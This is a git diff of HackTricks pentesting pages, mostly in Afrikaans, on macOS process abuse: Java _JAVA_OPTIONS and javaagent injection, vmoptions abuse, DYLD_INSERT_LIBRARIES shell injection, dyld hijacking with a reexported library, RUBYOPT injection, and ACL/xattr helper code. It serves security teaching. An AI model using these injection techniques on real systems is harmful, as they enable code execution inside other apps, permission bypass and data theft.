+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md index bd0dc8c73..59047d042 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md @@ -1,22 +1,23 @@ -# macOS Java Toepassingsinspuiting +# macOS Java Applications Injection + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Ander maniere om HackTricks te ondersteun: - -* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -## Opname +## Enumeration -Vind Java-toepassings wat op jou stelsel geïnstalleer is. Daar is opgemerk dat Java-toepassings in die **Info.plist** sekere Java-parameters bevat wat die string **`java.`** bevat, so jy kan daarna soek: +Vind Java-toepassings wat op jou stelsel geïnstalleer is. Dit is opgemerk dat Java-toepassings in die **Info.plist** sekere java parameters sal bevat wat die string **`java.`** bevat, so jy kan daarna soek: ```bash # Search only in /Applications folder sudo find /Applications -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null @@ -26,13 +27,13 @@ sudo find / -name 'Info.plist' -exec grep -l "java\." {} \; 2>/dev/null ``` ## \_JAVA\_OPTIONS -Die omgewingsveranderlike **`_JAVA_OPTIONS`** kan gebruik word om willekeurige Java parameters in te spuit tydens die uitvoering van 'n Java-gekompileerde app: +Die omgewing veranderlike **`_JAVA_OPTIONS`** kan gebruik word om arbitrêre java parameters in die uitvoering van 'n java gecompileerde toepassing in te spuit: ```bash # Write your payload in a script called /tmp/payload.sh export _JAVA_OPTIONS='-Xms2m -Xmx5m -XX:OnOutOfMemoryError="/tmp/payload.sh"' "/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub" ``` -Om dit as 'n nuwe proses uit te voer en nie as 'n kind van die huidige terminaal nie, kan jy die volgende gebruik: +Om dit as 'n nuwe proses uit te voer en nie as 'n kind van die huidige terminal nie, kan jy gebruik maak van: ```objectivec #import // clang -fobjc-arc -framework Foundation invoker.m -o invoker @@ -85,7 +86,7 @@ NSMutableDictionary *environment = [NSMutableDictionary dictionaryWithDictionary return 0; } ``` -Egter, dit sal 'n fout veroorsaak op die uitgevoerde app, 'n meer heimlike manier is om 'n Java-agent te skep en die volgende te gebruik: +However, that will trigger an error on the executed app, another more stealth way is to create a java agent and use: ```bash export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar' "/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub" @@ -95,7 +96,7 @@ export _JAVA_OPTIONS='-javaagent:/tmp/Agent.jar' open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Professional" ``` {% hint style="danger" %} -Die skep van die agent met 'n **verskillende Java-weergawe** as die aansoek kan die uitvoering van beide die agent en die aansoek laat crasht +Die skep van die agent met 'n **ander Java weergawe** as die toepassing kan die uitvoering van beide die agent en die toepassing laat crash {% endhint %} Waar die agent kan wees: @@ -119,7 +120,7 @@ err.printStackTrace(); ``` {% endcode %} -Om die agent te kompileer, voer die volgende uit: +Om die agent te kompileer, voer uit: ```bash javac Agent.java # Create Agent.class jar cvfm Agent.jar manifest.txt Agent.class # Create Agent.jar @@ -131,7 +132,7 @@ Agent-Class: Agent Can-Redefine-Classes: true Can-Retransform-Classes: true ``` -En voer dan die omgewingsveranderlike uit en hardloop die Java-toepassing soos volg: +En dan voer die omgewing veranderlike uit en hardloop die java-toepassing soos: ```bash export _JAVA_OPTIONS='-javaagent:/tmp/j/Agent.jar' "/Applications/Burp Suite Professional.app/Contents/MacOS/JavaApplicationStub" @@ -142,12 +143,12 @@ open --env "_JAVA_OPTIONS='-javaagent:/tmp/Agent.jar'" -a "Burp Suite Profession ``` ## vmoptions-lêer -Hierdie lêer ondersteun die spesifikasie van **Java-parameters** wanneer Java uitgevoer word. Jy kan van die vorige truuks gebruik maak om die Java-parameters te verander en die proses **willekeurige opdragte te laat uitvoer**.\ -Verder kan hierdie lêer ook **ander lêers insluit** met die `include`-opdrag, sodat jy ook 'n ingeslote lêer kan verander. +Hierdie lêer ondersteun die spesifikasie van **Java params** wanneer Java uitgevoer word. Jy kan sommige van die vorige truuks gebruik om die java params te verander en **die proses in staat te stel om arbitrêre opdragte uit te voer**.\ +Boonop kan hierdie lêer ook **ander insluit** met die `include` gids, so jy kan ook 'n ingeslote lêer verander. -Selfs meer, sommige Java-programme sal **meer as een `vmoptions`-lêer laai**. +Nog meer, sommige Java-apps sal **meer as een `vmoptions`** lêer laai. -Sommige programme soos Android Studio dui in hul **uitset aan waar hulle na hierdie lêers kyk**, byvoorbeeld: +Sommige toepassings soos Android Studio dui in hul **uitset aan waar hulle soek** vir hierdie lêers, soos: ```bash /Applications/Android\ Studio.app/Contents/MacOS/studio 2>&1 | grep vmoptions @@ -158,7 +159,7 @@ Sommige programme soos Android Studio dui in hul **uitset aan waar hulle na hier 2023-12-13 19:53:23.922 studio[74913:581359] parseVMOptions: /Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions 2023-12-13 19:53:23.923 studio[74913:581359] parseVMOptions: platform=20 user=1 file=/Users/carlospolop/Library/Application Support/Google/AndroidStudio2022.3/studio.vmoptions ``` -As hulle dit nie doen nie, kan jy dit maklik nagaan met: +As hulle nie, kan jy dit maklik nagaan met: ```bash # Monitor sudo eslogger lookup | grep vmoption # Give FDA to the Terminal @@ -166,18 +167,4 @@ sudo eslogger lookup | grep vmoption # Give FDA to the Terminal # Launch the Java app /Applications/Android\ Studio.app/Contents/MacOS/studio ``` -Let op hoe interessant dit is dat Android Studio in hierdie voorbeeld probeer om die lêer **`/Applications/Android Studio.app.vmoptions`** te laai, 'n plek waar enige gebruiker van die **`admin` groep skryftoegang het**. - -
- -Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)! - -Ander maniere om HackTricks te ondersteun: - -* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos. - -
+Let op hoe interessant dit is dat Android Studio in hierdie voorbeeld probeer om die lêer **`/Applications/Android Studio.app.vmoptions`** te laai, 'n plek waar enige gebruiker van die **`admin` groep skryfrek toegang het.** diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md index 0e0a27f16..3197fcc47 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md @@ -1,22 +1,23 @@ -# macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES +# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES + +{% hint style="success" %} +Leer & oefen AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Leer & oefen GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Ondersteun HackTricks -Ander maniere om HackTricks te ondersteun: - -* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! -* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag. +* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)! +* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} -## DYLD_INSERT_LIBRARIES Basiese voorbeeld +## DYLD\_INSERT\_LIBRARIES Basiese voorbeeld -**Biblioteek om in te spuit** om 'n skul te hardloop: +**Biblioteek om in te voeg** om 'n shell uit te voer: ```c // gcc -dynamiclib -o inject.dylib inject.c @@ -34,7 +35,7 @@ execv("/bin/bash", 0); //system("cp -r ~/Library/Messages/ /tmp/Messages/"); } ``` -Binêre teks om aan te val: +Binaar om aan te val: ```c // gcc hello.c -o hello #include @@ -45,13 +46,13 @@ printf("Hello, World!\n"); return 0; } ``` -Injeksie: +Injection: ```bash DYLD_INSERT_LIBRARIES=inject.dylib ./hello ``` ## Dyld Hijacking Voorbeeld -Die geteikende kwesbare binêre lêer is `/Applications/VulnDyld.app/Contents/Resources/lib/binary`. +Die geteikende kwesbare binêre is `/Applications/VulnDyld.app/Contents/Resources/lib/binary`. {% tabs %} {% tab title="entitlements" %} @@ -91,12 +92,12 @@ compatibility version 1.0.0 {% endtab %} {% endtabs %} -Met die vorige inligting weet ons dat dit **nie die handtekening van die gelaai biblioteke nagaan nie** en dit **probeer 'n biblioteek laai vanaf**: +Met die vorige inligting weet ons dat dit **nie die handtekening van die gelaaide biblioteke nagaan nie** en dit **probeer om 'n biblioteek te laai vanaf**: * `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib` * `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib` -Tog bestaan die eerste een nie: +Maar die eerste een bestaan nie: ```bash pwd /Applications/VulnDyld.app @@ -104,7 +105,7 @@ pwd find ./ -name lib.dylib ./Contents/Resources/lib2/lib.dylib ``` -So, dit is moontlik om dit te kaap! Skep 'n biblioteek wat **willekeurige kode uitvoer en dieselfde funksionaliteite uitvoer** as die regte biblioteek deur dit weer uit te voer. En onthou om dit te kompileer met die verwagte weergawes: +So, dit is moontlik om dit te kaap! Skep 'n biblioteek wat **enige willekeurige kode uitvoer en dieselfde funksies as die wettige biblioteek uitvoer deur dit weer te herexporteer**. En onthou om dit te compileer met die verwagte weergawes: {% code title="lib.m" %} ```objectivec @@ -117,14 +118,16 @@ NSLog(@"[+] dylib hijacked in %s", argv[0]); ``` {% endcode %} -Kompilieer dit: +Kompile dit: {% code overflow="wrap" %} ```bash gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib" # Note the versions and the reexport ``` -Die heruitvoerpad geskep in die biblioteek is relatief tot die laaier, laat ons dit verander na 'n absolute pad na die biblioteek om uit te voer: +{% endcode %} + +Die herexportpad wat in die biblioteek geskep is, is relatief aan die laaier, kom ons verander dit na 'n absolute pad na die biblioteek om te exporteer: {% code overflow="wrap" %} ```bash @@ -145,7 +148,7 @@ name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Con ``` {% endcode %} -Laastens, kopieer dit net na die **gekaapte plek**: +Laastens kopieer dit net na die **gekaapte ligging**: {% code overflow="wrap" %} ```bash @@ -153,33 +156,34 @@ cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib" ``` {% endcode %} -En **voer** die binêre lêer uit en kontroleer of die **biblioteek gelaai is**: +En **voer** die binêre uit en kyk of die **biblioteek gelaai is**:
"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
-2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib gehack in /Applications/VulnDyld.app/Contents/Resources/lib/binary
+2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib gehuistak in /Applications/VulnDyld.app/Contents/Resources/lib/binary
 Gebruik: [...]
 
{% hint style="info" %} -'n Goeie uiteensetting oor hoe om hierdie kwesbaarheid te misbruik om die kamera-toestemmings van Telegram te misbruik, kan gevind word op [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) +'n Goeie skrywe oor hoe om hierdie kwesbaarheid te misbruik om die kamera-toestemmings van telegram te misbruik, kan gevind word in [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) {% endhint %} -## Groter Skala +## Groter Skaal -As jy van plan is om te probeer om biblioteke in onverwagte binêre lêers in te spuit, kan jy die gebeurtenisboodskappe nagaan om uit te vind wanneer die biblioteek binne 'n proses gelaai word (in hierdie geval verwyder die printf en die `/bin/bash` uitvoering). +As jy van plan is om te probeer om biblioteke in onverwagte binêre te inspuit, kan jy die gebeurtenisboodskappe nagaan om uit te vind wanneer die biblioteek binne 'n proses gelaai word (in hierdie geval verwyder die printf en die `/bin/bash` uitvoering). ```bash sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"' ``` +{% hint style="success" %} +Leer & oefen AWS Hacking:[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Leer & oefen GCP Hacking: [**HackTricks Opleiding GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Ondersteun HackTricks -Ander maniere om HackTricks te ondersteun: - -* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! -* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family) -* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag. +* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)! +* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md index 9a804d621..39df02905 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md @@ -1,22 +1,23 @@ -# macOS Ruby Toepassingsinspuiting +# macOS Ruby Applications Injection + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Support HackTricks -Ander maniere om HackTricks te ondersteun: - -* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} ## RUBYOPT -Deur hierdie omgewingsveranderlike te gebruik, is dit moontlik om **nuwe parameters by te voeg** aan **ruby** wanneer dit uitgevoer word. Alhoewel die parameter **`-e`** nie gebruik kan word om ruby-kode spesifiek uit te voer nie, is dit moontlik om die parameters **`-I`** en **`-r`** te gebruik om 'n nuwe vouer by die biblioteekspad te voeg en dan **'n biblioteek om te laai** te spesifiseer. +Deur hierdie omgewing veranderlike te gebruik, is dit moontlik om **nuwe parameters** by **ruby** te voeg wanneer dit uitgevoer word. Alhoewel die parameter **`-e`** nie gebruik kan word om ruby kode aan te dui om uit te voer nie, is dit moontlik om die parameters **`-I`** en **`-r`** te gebruik om 'n nuwe gids by die biblioteke laai pad te voeg en dan **'n biblioteek aan te dui om te laai**. Skep die biblioteek **`inject.rb`** in **`/tmp`**: @@ -26,7 +27,7 @@ puts `whoami` ``` {% endcode %} -Skep enige plek 'n ruby-skrips soos: +Skep enige plek 'n ruby-skrip soos: {% code title="hello.rb" %} ```ruby @@ -34,24 +35,25 @@ puts 'Hello, World!' ``` {% endcode %} -Maak dan 'n willekeurige ruby-skrip en laai dit met: +Laastens maak 'n arbitrêre ruby-skrip dit laai met: ```bash RUBYOPT="-I/tmp -rinject" ruby hello.rb ``` -Interessante feit, dit werk selfs met die parameter **`--disable-rubyopt`**: +Fun fact, dit werk selfs met die param **`--disable-rubyopt`**: ```bash RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt ``` +{% hint style="success" %} +Leer & oefen AWS Hacking:[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Leer & oefen GCP Hacking: [**HackTricks Opleiding GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Ondersteun HackTricks -Ander maniere om HackTricks te ondersteun: - -* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke. +* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)! +* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md index d8ff24f42..47253fa30 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-xattr-acls-extra-stuff.md @@ -1,24 +1,30 @@ -# macOS xattr-acls extra stuff +# macOS xattr-acls ekstra goed + +{% hint style="success" %} +Leer & oefen AWS Hacking:[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Leer & oefen GCP Hacking: [**HackTricks Opleiding GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Ondersteun HackTricks -Ander maniere om HackTricks te ondersteun: - -* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke. +* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)! +* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
- -\`\`\`bash rm -rf /tmp/test\* echo test >/tmp/test chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test ./get\_acls test ACL for test: !#acl 1 group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown +{% endhint %} +```bash +rm -rf /tmp/test* +echo test >/tmp/test +chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test +./get_acls test +ACL for test: +!#acl 1 +group:ABCDEFAB-CDEF-ABCD-EFAB-CDEF0000000C:everyone:12:deny:write,writeattr,writeextattr,writesecurity,chown ACL in hex: \x21\x23\x61\x63\x6c\x20\x31\x0a\x67\x72\x6f\x75\x70\x3a\x41\x42\x43\x44\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x2d\x41\x42\x43\x44\x2d\x45\x46\x41\x42\x2d\x43\x44\x45\x46\x30\x30\x30\x30\x30\x30\x30\x43\x3a\x65\x76\x65\x72\x79\x6f\x6e\x65\x3a\x31\x32\x3a\x64\x65\x6e\x79\x3a\x77\x72\x69\x74\x65\x2c\x77\x72\x69\x74\x65\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x65\x78\x74\x61\x74\x74\x72\x2c\x77\x72\x69\x74\x65\x73\x65\x63\x75\x72\x69\x74\x79\x2c\x63\x68\x6f\x77\x6e\x0a - -```` +```
Kode van get_acls @@ -61,47 +67,127 @@ acl_free(acl); acl_free(acl_text); return 0; } -```` +``` +```markdown +
+MacOS XATTR, ACLs en ekstra goed -\`\`\`bash # Lets add the xattr com.apple.xxx.xxxx with the acls mkdir start mkdir start/protected ./set\_xattr start/protected echo something > start/protected/something \`\`\` +In MacOS is daar verskeie maniere om lêers en gidsen te beveilig en te bestuur. Een van die maniere is deur die gebruik van Extended Attributes (XATTRs) en Access Control Lists (ACLs). +### Extended Attributes (XATTRs) + +XATTRs is 'n manier om ekstra metadata aan lêers en gidsen toe te voeg. Dit kan gebruik word om spesifieke inligting oor die lêer te stoor, soos wie dit geskep het of wanneer dit laas gewysig is. Dit kan ook gebruik word om sekuriteitsmaatreëls toe te pas. + +### Access Control Lists (ACLs) + +ACLs bied 'n meer gedetailleerde benadering tot toegangsbeheer as tradisionele Unix-permissies. Dit laat jou toe om spesifieke toestemmings aan verskillende gebruikers of groepe toe te ken. Dit is nuttig in omgewings waar jy meer beheer oor toegang tot lêers en gidsen benodig. + +### Gebruik van XATTRs en ACLs + +Om XATTRs en ACLs te gebruik, kan jy die volgende opdragte in die terminal gebruik: + +- **XATTR**: `xattr -w ` +- **ACL**: `chmod +a ":" ` + +Hierdie tegnieke kan help om jou MacOS-stelsels te beveilig teen ongewenste toegang en om jou data te beskerm. + +
+``` +```bash +# Lets add the xattr com.apple.xxx.xxxx with the acls +mkdir start +mkdir start/protected +./set_xattr start/protected +echo something > start/protected/something +```
-Kode van set_xattr +Code van set_xattr +```c +// gcc -o set_xattr set_xattr.c +#include +#include +#include +#include +#include -\`\`\`c // gcc -o set\_xattr set\_xattr.c #include #include #include #include #include -void print\_xattrs(const char \*filepath) { ssize\_t buflen = listxattr(filepath, NULL, 0, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); return; } +void print_xattrs(const char *filepath) { +ssize_t buflen = listxattr(filepath, NULL, 0, XATTR_NOFOLLOW); +if (buflen < 0) { +perror("listxattr"); +return; +} -char \*buf = malloc(buflen); if (buf == NULL) { perror("malloc"); return; } +char *buf = malloc(buflen); +if (buf == NULL) { +perror("malloc"); +return; +} -buflen = listxattr(filepath, buf, buflen, XATTR\_NOFOLLOW); if (buflen < 0) { perror("listxattr"); free(buf); return; } +buflen = listxattr(filepath, buf, buflen, XATTR_NOFOLLOW); +if (buflen < 0) { +perror("listxattr"); +free(buf); +return; +} -printf("All current extended attributes for %s:\n", filepath); for (char \*name = buf; name < buf + buflen; name += strlen(name) + 1) { printf("%s: ", name); ssize\_t valuelen = getxattr(filepath, name, NULL, 0, 0, XATTR\_NOFOLLOW); if (valuelen < 0) { perror("getxattr"); continue; } +printf("All current extended attributes for %s:\n", filepath); +for (char *name 